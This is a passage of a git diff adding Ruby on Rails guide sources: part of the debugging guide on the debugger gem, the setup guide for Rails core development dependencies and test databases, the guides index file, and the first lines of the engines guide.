+Debugging with the `debugger` gem
+---------------------------------
+
+When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.
+
+The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.
+
+### Setup
+
+You can use the `debugger` gem to set breakpoints and step through live code in Rails. To install it, just run:
+
+```bash
+$ gem install debugger
+```
+
+Rails has had built-in support for debugging since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the `debugger` method.
+
+Here's an example:
+
+```ruby
+class PeopleController < ApplicationController
+  def new
+    debugger
+    @person = Person.new
+  end
+end
+```
+
+If you see this message in the console or logs:
+
+```
+***** Debugger requested, but was not available: Start server with --debugger to enable *****
+```
+
+Make sure you have started your web server with the option `--debugger`:
+
+```bash
+$ rails server --debugger
+=> Booting WEBrick
+=> Rails 4.1.1 application starting on http://0.0.0.0:3000
+=> Debugger enabled
+...
+```
+
+TIP: In development mode, you can dynamically `require \'debugger\'` instead of restarting the server, even if it was started without `--debugger`.
+
+### The Shell
+
+As soon as your application calls the `debugger` method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at the debugger's prompt `(rdb:n)`. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run.
+
+If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.
+
+For example:
+
+```bash
+ at posts = Post.all
+(rdb:7)
+```
+
+Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help. Type: `help`
+
+```
+(rdb:7) help
+ruby-debug help v0.10.2
+Type 'help <command-name>' for help on a specific command
+
+Available commands:
+backtrace  delete   enable  help    next  quit     show    trace
+break      disable  eval    info    p     reload   source  undisplay
+catch      display  exit    irb     pp    restart  step    up
+condition  down     finish  list    ps    save     thread  var
+continue   edit     frame   method  putl  set      tmate   where
+```
+
+TIP: To view the help menu for any command use `help <command-name>` at the debugger prompt. For example: _`help var`_
+
+The next command to learn is one of the most useful: `list`. You can abbreviate any debugging command by supplying just enough letters to distinguish them from other commands, so you can also use `l` for the `list` command.
+
+This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by `=>`.
+
+```
+(rdb:7) list
+[1, 10] in /PathTo/project/app/controllers/posts_controller.rb
+   1  class PostsController < ApplicationController
+   2    # GET /posts
+   3    # GET /posts.json
+   4    def index
+   5      debugger
+=> 6      @posts = Post.all
+   7
+   8      respond_to do |format|
+   9        format.html # index.html.erb
+   10        format.json { render json: @posts }
+```
+
+If you repeat the `list` command, this time using just `l`, the next ten lines of the file will be printed out.
+
+```
+(rdb:7) l
+[11, 20] in /PathTo/project/app/controllers/posts_controller.rb
+   11      end
+   12    end
+   13
+   14    # GET /posts/1
+   15    # GET /posts/1.json
+   16    def show
+   17      @post = Post.find(params[:id])
+   18
+   19      respond_to do |format|
+   20        format.html # show.html.erb
+```
+
+And so on until the end of the current file. When the end of file is reached, the `list` command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.
+
+On the other hand, to see the previous ten lines you should type `list-` (or `l-`)
+
+```
+(rdb:7) l-
+[1, 10] in /PathTo/project/app/controllers/posts_controller.rb
+   1  class PostsController < ApplicationController
+   2    # GET /posts
+   3    # GET /posts.json
+   4    def index
+   5      debugger
+   6      @posts = Post.all
+   7
+   8      respond_to do |format|
+   9        format.html # index.html.erb
+   10        format.json { render json: @posts }
+```
+
+This way you can move inside the file, being able to see the code above and over the line you added the `debugger`.
+Finally, to see where you are in the code again you can type `list=`
+
+```
+(rdb:7) list=
+[1, 10] in /PathTo/project/app/controllers/posts_controller.rb
+   1  class PostsController < ApplicationController
+   2    # GET /posts
+   3    # GET /posts.json
+   4    def index
+   5      debugger
+=> 6      @posts = Post.all
+   7
+   8      respond_to do |format|
+   9        format.html # index.html.erb
+   10        format.json { render json: @posts }
+```
+
+### The Context
+
+When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.
+
+The debugger creates a context when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.
+
+At any time you can call the `backtrace` command (or its alias `where`) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then `backtrace` will supply the answer.
+
+```
+(rdb:5) where
+    #0 PostsController.index
+       at line /PathTo/project/app/controllers/posts_controller.rb:6
+    #1 Kernel.send
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+    #2 ActionController::Base.perform_action_without_filters
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+    #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...)
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
+...
+```
+
+You move anywhere you want in this trace (thus changing the context) by using the `frame _n_` command, where _n_ is the specified frame number.
+
+```
+(rdb:5) frame 2
+#2 ActionController::Base.perform_action_without_filters
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+```
+
+The available variables are the same as if you were running the code line by line. After all, that's what debugging is.
+
+Moving up and down the stack frame: You can use `up [n]` (`u` for abbreviated) and `down [n]` commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.
+
+### Threads
+
+The debugger can list, stop, resume and switch between running threads by using the command `thread` (or the abbreviated `th`). This command has a handful of options:
+
+* `thread` shows the current thread.
+* `thread list` is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution.
+* `thread stop _n_` stop thread _n_.
+* `thread resume _n_` resumes thread _n_.
+* `thread switch _n_` switches the current thread context to _n_.
+
+This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.
+
+### Inspecting Variables
+
+Any expression can be evaluated in the current context. To evaluate an expression, just type it!
+
+This example shows how you can print the instance_variables defined within the current context:
+
+```
+ at posts = Post.all
+(rdb:11) instance_variables
+["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"]
+```
+
+As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using `next` (you'll learn more about this command later in this guide).
+
+```
+(rdb:11) next
+Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
+  Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
+  Parameters: {"action"=>"index", "controller"=>"posts"}
+/PathToProject/posts_controller.rb:8
+respond_to do |format|
+```
+
+And then ask again for the instance_variables:
+
+```
+(rdb:11) instance_variables.include? "@posts"
+true
+```
+
+Now `@posts` is included in the instance variables, because the line defining it was executed.
+
+TIP: You can also step into **irb** mode with the command `irb` (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.
+
+The `var` method is the most convenient way to show variables and their values:
+
+```
+var
+(rdb:1) v[ar] const <object>            show constants of object
+(rdb:1) v[ar] g[lobal]                  show global variables
+(rdb:1) v[ar] i[nstance] <object>       show instance variables of object
+(rdb:1) v[ar] l[ocal]                   show local variables
+```
+
+This is a great way to inspect the values of the current context variables. For example:
+
+```
+(rdb:9) var local
+  __dbg_verbose_save => false
+```
+
+You can also inspect for an object method this way:
+
+```
+(rdb:9) var instance Post.new
+ at attributes = {"updated_at"=>nil, "body"=>nil, "title"=>nil, "published"=>nil, "created_at"...
+ at attributes_cache = {}
+ at new_record = true
+```
+
+TIP: The commands `p` (print) and `pp` (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.
+
+You can use also `display` to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.
+
+```
+(rdb:1) display @recent_comments
+1: @recent_comments =
+```
+
+The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use `undisplay _n_` where _n_ is the variable number (1 in the last example).
+
+### Step by Step
+
+Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution.
+
+Use `step` (abbreviated `s`) to continue running your program until the next logical stopping point and return control to the debugger.
+
+TIP: You can also use `step+ n` and `step- n` to move forward or backward `n` steps respectively.
+
+You may also use `next` which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps.
+
+The difference between `next` and `step` is that `step` stops at the next line of code executed, doing just a single step, while `next` moves to the next line without descending inside methods.
+
+For example, consider this block of code with an included `debugger` statement:
+
+```ruby
+class Author < ActiveRecord::Base
+  has_one :editorial
+  has_many :comments
+
+  def find_recent_comments(limit = 10)
+    debugger
+    @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit)
+  end
+end
+```
+
+TIP: You can use the debugger while using `rails console`. Just remember to `require "debugger"` before calling the `debugger` method.
+
+```
+$ rails console
+Loading development environment (Rails 4.1.1)
+>> require "debugger"
+=> []
+>> author = Author.first
+=> #<Author id: 1, first_name: "Bob", last_name: "Smith", created_at: "2008-07-31 12:46:10", updated_at: "2008-07-31 12:46:10">
+>> author.find_recent_comments
+/PathTo/project/app/models/author.rb:11
+)
+```
+
+With the code stopped, take a look around:
+
+```
+(rdb:1) list
+[2, 9] in /PathTo/project/app/models/author.rb
+   2    has_one :editorial
+   3    has_many :comments
+   4
+   5    def find_recent_comments(limit = 10)
+   6      debugger
+=> 7      @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit)
+   8    end
+   9  end
+```
+
+You are at the end of the line, but... was this line executed? You can inspect the instance variables.
+
+```
+(rdb:1) var instance
+ at attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
+ at attributes_cache = {}
+```
+
+`@recent_comments` hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the `next` command to move on in the code:
+
+```
+(rdb:1) next
+/PathTo/project/app/models/author.rb:12
+ at recent_comments
+(rdb:1) var instance
+ at attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
+ at attributes_cache = {}
+ at comments = []
+ at recent_comments = []
+```
+
+Now you can see that the `@comments` relationship was loaded and @recent_comments defined because the line was executed.
+
+If you want to go deeper into the stack trace you can move single `steps`, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.
+
+### Breakpoints
+
+A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.
+
+You can add breakpoints dynamically with the command `break` (or just `b`). There are 3 possible ways of adding breakpoints manually:
+
+* `break line`: set breakpoint in the _line_ in the current source file.
+* `break file:line [if expression]`: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger.
+* `break class(.|\#)method [if expression]`: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The _expression_ works the same way as with file:line.
+
+```
+(rdb:5) break 10
+Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10
+```
+
+Use `info breakpoints _n_` or `info break _n_` to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.
+
+```
+(rdb:5) info breakpoints
+Num Enb What
+  1 y   at filters.rb:10
+```
+
+To delete breakpoints: use the command `delete _n_` to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active..
+
+```
+(rdb:5) delete 1
+(rdb:5) info breakpoints
+No breakpoints.
+```
+
+You can also enable or disable breakpoints:
+
+* `enable breakpoints`: allow a list _breakpoints_ or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.
+* `disable breakpoints`: the _breakpoints_ will have no effect on your program.
+
+### Catching Exceptions
+
+The command `catch exception-name` (or just `cat exception-name`) can be used to intercept an exception of type _exception-name_ when there would otherwise be is no handler for it.
+
+To list all active catchpoints use `catch`.
+
+### Resuming Execution
+
+There are two ways to resume execution of an application that is stopped in the debugger:
+
+* `continue` [line-specification] \(or `c`): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
+* `finish` [frame-number] \(or `fin`): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.
+
+### Editing
+
+Two commands allow you to open code from the debugger into an editor:
+
+* `edit [file:line]`: edit _file_ using the editor specified by the EDITOR environment variable. A specific _line_ can also be given.
+* `tmate _n_` (abbreviated `tm`): open the current file in TextMate. It uses n-th frame if _n_ is specified.
+
+### Quitting
+
+To exit the debugger, use the `quit` command (abbreviated `q`), or its alias `exit`.
+
+A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.
+
+### Settings
+
+The `debugger` gem can automatically show the code you're stepping through and reload it when you change it in an editor. Here are a few of the available options:
+
+* `set reload`: Reload source code when changed.
+* `set autolist`: Execute `list` command on every breakpoint.
+* `set listsize _n_`: Set number of source lines to list by default to _n_.
+* `set forcestep`: Make sure the `next` and `step` commands always move to a new line
+
+You can see the full list by using `help set`. Use `help set _subcommand_` to learn about a particular `set` command.
+
+TIP: You can save these settings in an `.rdebugrc` file in your home directory. The debugger reads these global settings when it starts.
+
+Here's a good start for an `.rdebugrc`:
+
+```bash
+set autolist
+set forcestep
+set listsize 25
+```
+
+Debugging Memory Leaks
+----------------------
+
+A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level.
+
+In this section, you will learn how to find and fix such leaks by using tool such as Valgrind.
+
+### Valgrind
+
+[Valgrind](http://valgrind.org/) is a Linux-only application for detecting C-based memory leaks and race conditions.
+
+There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, if a C extension in the interpreter calls `malloc()` but doesn't properly call `free()`, this memory won't be available until the app terminates.
+
+For further information on how to install Valgrind and use with Ruby, refer to [Valgrind and Ruby](http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/) by Evan Weaver.
+
+Plugins for Debugging
+---------------------
+
+There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:
+
+* [Footnotes](https://github.com/josevalim/rails-footnotes) Every Rails page has footnotes that give request information and link back to your source via TextMate.
+* [Query Trace](https://github.com/ntalbott/query_trace/tree/master) Adds query origin tracing to your logs.
+* [Query Reviewer](https://github.com/nesquena/query_reviewer) This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed.
+* [Exception Notifier](https://github.com/smartinez87/exception_notification/tree/master) Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
+* [Better Errors](https://github.com/charliesome/better_errors) Replaces the standard Rails error page with a new one containing more contextual information, like source code and variable inspection.
+* [RailsPanel](https://github.com/dejan/rails_panel) Chrome extension for Rails development that will end your tailing of development.log. Have all information about your Rails app requests in the browser - in the Developer Tools panel. Provides insight to db/rendering/total times, parameter list, rendered views and more.
+
+References
+----------
+
+* [ruby-debug Homepage](http://bashdb.sourceforge.net/ruby-debug/home-page.html)
+* [debugger Homepage](https://github.com/cldwalker/debugger)
+* [Article: Debugging a Rails application with ruby-debug](http://www.sitepoint.com/debug-rails-app-ruby-debug/)
+* [Ryan Bates' debugging ruby (revised) screencast](http://railscasts.com/episodes/54-debugging-ruby-revised)
+* [Ryan Bates' stack trace screencast](http://railscasts.com/episodes/24-the-stack-trace)
+* [Ryan Bates' logger screencast](http://railscasts.com/episodes/56-the-logger)
+* [Debugging with ruby-debug](http://bashdb.sourceforge.net/ruby-debug.html)
diff --git a/guides/source/development_dependencies_install.md b/guides/source/development_dependencies_install.md
new file mode 100644
index 0000000..4ee43b6
--- /dev/null
+++ b/guides/source/development_dependencies_install.md
@@ -0,0 +1,278 @@
+Development Dependencies Install
+================================
+
+This guide covers how to setup an environment for Ruby on Rails core development.
+
+After reading this guide, you will know:
+
+* How to set up your machine for Rails development
+* How to run specific groups of unit tests from the Rails test suite
+* How the ActiveRecord portion of the Rails test suite operates
+
+--------------------------------------------------------------------------------
+
+The Easy Way
+------------
+
+The easiest and recommended way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box).
+
+The Hard Way
+------------
+
+In case you can't use the Rails development box, see section above, these are the steps to manually build a development box for Ruby on Rails core development.
+
+### Install Git
+
+Ruby on Rails uses Git for source code control. The [Git homepage](http://git-scm.com/) has installation instructions. There are a variety of resources on the net that will help you get familiar with Git:
+
+* [Try Git course](http://try.github.io/) is an interactive course that will teach you the basics.
+* The [official Documentation](http://git-scm.com/documentation) is pretty comprehensive and also contains some videos with the basics of Git
+* [Everyday Git](http://schacon.github.io/git/everyday.html) will teach you just enough about Git to get by.
+* The [PeepCode screencast](https://peepcode.com/products/git) on Git is easier to follow.
+* [GitHub](http://help.github.com) offers links to a variety of Git resources.
+* [Pro Git](http://git-scm.com/book) is an entire book about Git with a Creative Commons license.
+
+### Clone the Ruby on Rails Repository
+
+Navigate to the folder where you want the Ruby on Rails source code (it will create its own `rails` subdirectory) and run:
+
+```bash
+$ git clone git://github.com/rails/rails.git
+$ cd rails
+```
+
+### Set up and Run the Tests
+
+The test suite must pass with any submitted code. No matter whether you are writing a new patch, or evaluating someone else's, you need to be able to run the tests.
+
+Install first libxml2 and libxslt together with their development files for Nokogiri. In Ubuntu that's
+
+```bash
+$ sudo apt-get install libxml2 libxml2-dev libxslt1-dev
+```
+
+If you are on Fedora or CentOS, you can run
+
+```bash
+$ sudo yum install libxml2 libxml2-devel libxslt libxslt-devel
+```
+
+If you are running Arch Linux, you're done with:
+
+```bash
+$ sudo pacman -S libxml2 libxslt
+```
+
+On FreeBSD, you just have to run:
+
+```bash
+# pkg_add -r libxml2 libxslt
+```
+
+Alternatively, you can install the `textproc/libxml2` and `textproc/libxslt`
+ports.
+
+If you have any problems with these libraries, you can install them manually by compiling the source code. Just follow the instructions at the [Red Hat/CentOS section of the Nokogiri tutorials](http://nokogiri.org/tutorials/installing_nokogiri.html#red_hat__centos) .
+
+Also, SQLite3 and its development files for the `sqlite3-ruby` gem - in Ubuntu you're done with just
+
+```bash
+$ sudo apt-get install sqlite3 libsqlite3-dev
+```
+
+And if you are on Fedora or CentOS, you're done with
+
+```bash
+$ sudo yum install sqlite3 sqlite3-devel
+```
+
+If you are on Arch Linux, you will need to run:
+
+```bash
+$ sudo pacman -S sqlite
+```
+
+For FreeBSD users, you're done with:
+
+```bash
+# pkg_add -r sqlite3
+```
+
+Or compile the `databases/sqlite3` port.
+
+Get a recent version of [Bundler](http://gembundler.com/)
+
+```bash
+$ gem install bundler
+$ gem update bundler
+```
+
+and run:
+
+```bash
+$ bundle install --without db
+```
+
+This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back to these soon.
+
+NOTE: If you would like to run the tests that use memcached, you need to ensure that you have it installed and running.
+
+You can use homebrew to install memcached on OSX:
+
+```bash
+$ brew install memcached
+```
+
+On Ubuntu you can install it with apt-get:
+
+```bash
+$ sudo apt-get install memcached
+```
+
+Or use yum on Fedora or CentOS:
+
+```bash
+$ sudo yum install memcached
+```
+
+With the dependencies now installed, you can run the test suite with:
+
+```bash
+$ bundle exec rake test
+```
+
+You can also run tests for a specific component, like Action Pack, by going into its directory and executing the same command:
+
+```bash
+$ cd actionpack
+$ bundle exec rake test
+```
+
+If you want to run the tests located in a specific directory use the `TEST_DIR` environment variable. For example, this will run the tests in the `railties/test/generators` directory only:
+
+```bash
+$ cd railties
+$ TEST_DIR=generators bundle exec rake test
+```
+
+You can run the tests for a particular file by using:
+
+```bash
+$ cd actionpack
+$ bundle exec ruby -Itest test/template/form_helper_test.rb
+```
+
+Or, you can run a single test in a particular file:
+
+```bash
+$ cd actionpack
+$ bundle exec ruby -Itest path/to/test.rb -n test_name
+```
+
+### Active Record Setup
+
+The test suite of Active Record attempts to run four times: once for SQLite3, once for each of the two MySQL gems (`mysql` and `mysql2`), and once for PostgreSQL. We are going to see now how to set up the environment for them.
+
+WARNING: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite3. Subtle differences between the various adapters have been behind the rejection of many patches that looked OK when tested only against MySQL.
+
+#### Database Configuration
+
+The Active Record test suite requires a custom config file: `activerecord/test/config.yml`. An example is provided in `activerecord/test/config.example.yml` which can be copied and used as needed for your environment.
+
+#### MySQL and PostgreSQL
+
+To be able to run the suite for MySQL and PostgreSQL we need their gems. Install first the servers, their client libraries, and their development files. In Ubuntu just run
+
+```bash
+$ sudo apt-get install mysql-server libmysqlclient15-dev
+$ sudo apt-get install postgresql postgresql-client postgresql-contrib libpq-dev
+```
+
+On Fedora or CentOS, just run:
+
+```bash
+$ sudo yum install mysql-server mysql-devel
+$ sudo yum install postgresql-server postgresql-devel
+```
+
+If you are running Arch Linux, MySQL isn't supported anymore so you will need to
+use MariaDB instead (see [this announcement](https://www.archlinux.org/news/mariadb-replaces-mysql-in-repositories/)):
+
+```bash
+$ sudo pacman -S mariadb libmariadbclient mariadb-clients
+$ sudo pacman -S postgresql postgresql-libs
+```
+
+FreeBSD users will have to run the following:
+
+```bash
+# pkg_add -r mysql56-client mysql56-server
+# pkg_add -r postgresql92-client postgresql92-server
+```
+
+Or install them through ports (they are located under the `databases` folder).
+If you run into troubles during the installation of MySQL, please see
+[the MySQL documentation](http://dev.mysql.com/doc/refman/5.1/en/freebsd-installation.html).
+
+After that, run:
+
+```bash
+$ rm .bundle/config
+$ bundle install
+```
+
+First, we need to delete `.bundle/config` because Bundler remembers in that file that we didn't want to install the "db" group (alternatively you can edit the file).
+
+In order to be able to run the test suite against MySQL you need to create a user named `rails` with privileges on the test databases:
+
+```bash
+$ mysql -uroot -p
+
+mysql> CREATE USER 'rails'@'localhost';
+mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.*
+       to 'rails'@'localhost';
+mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.*
+       to 'rails'@'localhost';
+mysql> GRANT ALL PRIVILEGES ON inexistent_activerecord_unittest.*
+       to 'rails'@'localhost';
+```
+
+and create the test databases:
+
+```bash
+$ cd activerecord
+$ bundle exec rake mysql:build_databases
+```
+
+PostgreSQL's authentication works differently. A simple way to set up the development environment for example is to run with your development account
+
+```bash
+$ sudo -u postgres createuser --superuser $USER
+```
+
+and then create the test databases with
+
+```bash
+$ cd activerecord
+$ bundle exec rake postgresql:build_databases
+```
+
+It is possible to build databases for both PostgreSQL and MySQL with
+
+```bash
+$ cd activerecord
+$ bundle exec rake db:create
+```
+
+You can cleanup the databases using
+
+```bash
+$ cd activerecord
+$ bundle exec rake db:drop
+```
+
+NOTE: Using the rake task to create the test databases ensures they have the correct character set and collation.
+
+NOTE: You'll see the following warning (or localized warning) during activating HStore extension in PostgreSQL 9.1.x or earlier: "WARNING: => is deprecated as an operator".
+
+If you're using another database, check the file `activerecord/test/config.yml` or `activerecord/test/config.example.yml` for default connection information. You can edit `activerecord/test/config.yml` to provide different credentials on your machine if you must, but obviously you should not push any such changes back to Rails.
diff --git a/guides/source/documents.yaml b/guides/source/documents.yaml
new file mode 100644
index 0000000..e365435
--- /dev/null
+++ b/guides/source/documents.yaml
@@ -0,0 +1,193 @@
+-
+  name: Start Here
+  documents:
+    -
+      name: Getting Started with Rails
+      url: getting_started.html
+      description: Everything you need to know to install Rails and create your first application.
+-
+  name: Models
+  documents:
+    -
+      name: Active Record Basics
+      url: active_record_basics.html
+      description: This guide will get you started with models, persistence to database and the Active Record pattern and library.
+    -
+      name: Rails Database Migrations
+      url: migrations.html
+      description: This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner.
+    -
+      name: Active Record Validations
+      url: active_record_validations.html
+      description: This guide covers how you can use Active Record validations
+    -
+      name: Active Record Callbacks
+      url: active_record_callbacks.html
+      description: This guide covers how you can use Active Record callbacks.
+    -
+      name: Active Record Associations
+      url: association_basics.html
+      description: This guide covers all the associations provided by Active Record.
+    -
+      name: Active Record Query Interface
+      url: active_record_querying.html
+      description: This guide covers the database query interface provided by Active Record.
+-
+  name: Views
+  documents:
+    -
+      name: Action View Overview
+      url: action_view_overview.html
+      description: This guide provides an introduction to Action View and introduces a few of the more common view helpers.
+      work_in_progress: true
+    -
+      name: Layouts and Rendering in Rails
+      url: layouts_and_rendering.html
+      description: This guide covers the basic layout features of Action Controller and Action View, including rendering and redirecting, using content_for blocks, and working with partials.
+    -
+      name: Action View Form Helpers
+      url: form_helpers.html
+      description: Guide to using built-in Form helpers.
+-
+  name: Controllers
+  documents:
+    -
+      name: Action Controller Overview
+      url: action_controller_overview.html
+      description: This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics.
+    -
+      name: Rails Routing from the Outside In
+      url: routing.html
+      description: This guide covers the user-facing features of Rails routing. If you want to understand how to use routing in your own Rails applications, start here.
+-
+  name: Digging Deeper
+  documents:
+    -
+      name: Active Support Core Extensions
+      url: active_support_core_extensions.html
+      description: This guide documents the Ruby core extensions defined in Active Support.
+    -
+      name: Rails Internationalization API
+      url: i18n.html
+      description: This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country and so on.
+    -
+      name: Action Mailer Basics
+      url: action_mailer_basics.html
+      description: This guide describes how to use Action Mailer to send and receive emails.
+    -
+      name: Testing Rails Applications
+      url: testing.html
+      work_in_progress: true
+      description: This is a rather comprehensive guide to doing both unit and functional tests in Rails. It covers everything from 'What is a test?' to the testing APIs. Enjoy.
+    -
+      name: Securing Rails Applications
+      url: security.html
+      description: This guide describes common security problems in web applications and how to avoid them with Rails.
+    -
+      name: Debugging Rails Applications
+      url: debugging_rails_applications.html
+      description: This guide describes how to debug Rails applications. It covers the different ways of achieving this and how to understand what is happening "behind the scenes" of your code.
+    -
+      name: Configuring Rails Applications
+      url: configuring.html
+      description: This guide covers the basic configuration settings for a Rails application.
+    -
+      name: Rails Command Line Tools and Rake Tasks
+      url: command_line.html
+      description: This guide covers the command line tools and rake tasks provided by Rails.
+    -
+      name: Caching with Rails
+      work_in_progress: true
+      url: caching_with_rails.html
+      description: Various caching techniques provided by Rails.
+    -
+      name: Asset Pipeline
+      url: asset_pipeline.html
+      description: This guide documents the asset pipeline.
+    -
+      name: Working with JavaScript in Rails
+      url: working_with_javascript_in_rails.html
+      description: This guide covers the built-in Ajax/JavaScript functionality of Rails.
+    -
+      name: Getting Started with Engines
+      url: engines.html
+      description: This guide explains how to write a mountable engine.
+      work_in_progress: true
+    -
+      name: The Rails Initialization Process
+      work_in_progress: true
+      url: initialization.html
+      description: This guide explains the internals of the Rails initialization process as of Rails 4
+-
+  name: Extending Rails
+  documents:
+    -
+      name: The Basics of Creating Rails Plugins
+      work_in_progress: true
+      url: plugins.html
+      description: This guide covers how to build a plugin to extend the functionality of Rails.
+    -
+      name: Rails on Rack
+      url: rails_on_rack.html
+      description: This guide covers Rails integration with Rack and interfacing with other Rack components.
+    -
+      name: Creating and Customizing Rails Generators
+      url: generators.html
+      description: This guide covers the process of adding a brand new generator to your extension or providing an alternative to an element of a built-in Rails generator (such as providing alternative test stubs for the scaffold generator).
+-
+  name: Contributing to Ruby on Rails
+  documents:
+    -
+      name: Contributing to Ruby on Rails
+      url: contributing_to_ruby_on_rails.html
+      description: Rails is not 'somebody else's framework.' This guide covers a variety of ways that you can get involved in the ongoing development of Rails.
+    -
+      name: API Documentation Guidelines
+      url: api_documentation_guidelines.html
+      description: This guide documents the Ruby on Rails API documentation guidelines.
+    -
+      name: Ruby on Rails Guides Guidelines
+      url: ruby_on_rails_guides_guidelines.html
+      description: This guide documents the Ruby on Rails guides guidelines.
+-
+  name: Maintenance Policy
+  documents:
+    -
+      name: Maintenance Policy
+      url: maintenance_policy.html
+      description: What versions of Ruby on Rails are currently supported, and when to expect new versions.
+-
+  name: Release Notes
+  documents:
+    -
+      name: Upgrading Ruby on Rails
+      url: upgrading_ruby_on_rails.html
+      description: This guide helps in upgrading applications to latest Ruby on Rails versions.
+    -
+      name: Ruby on Rails 4.1 Release Notes
+      url: 4_1_release_notes.html
+      description: Release notes for Rails 4.1.
+    -
+      name: Ruby on Rails 4.0 Release Notes
+      url: 4_0_release_notes.html
+      description: Release notes for Rails 4.0.
+    -
+      name: Ruby on Rails 3.2 Release Notes
+      url: 3_2_release_notes.html
+      description: Release notes for Rails 3.2.
+    -
+      name: Ruby on Rails 3.1 Release Notes
+      url: 3_1_release_notes.html
+      description: Release notes for Rails 3.1.
+    -
+      name: Ruby on Rails 3.0 Release Notes
+      url: 3_0_release_notes.html
+      description: Release notes for Rails 3.0.
+    -
+      name: Ruby on Rails 2.3 Release Notes
+      url: 2_3_release_notes.html
+      description: Release notes for Rails 2.3.
+    -
+      name: Ruby on Rails 2.2 Release Notes
+      url: 2_2_release_notes.html
+      description: Release notes for Rails 2.2.
diff --git a/guides/source/engines.md b/guides/source/engines.md
new file mode 100644
index 0000000..9c2854b
--- /dev/null
+++ b/guides/source/engines.md
@@ -0,0 +1,1391 @@
+Getting Started with Engines
+============================
+
+In this guide you will learn about engines and how they can be used to provide
+additional functionality to their host applications through a clean and very
+easy-to-use interface.
+
+After reading this guide, you will know:
+
+* What makes an engine.
+* How to generate an engine.
+* Building features for the engine.
+* Hooking the engine into an application.
+* Overriding engine functionality in the application.
+
+--------------------------------------------------------------------------------
+
+What are engines?
+-----------------
+
+Engines can be considered miniature applications that provide functionality to
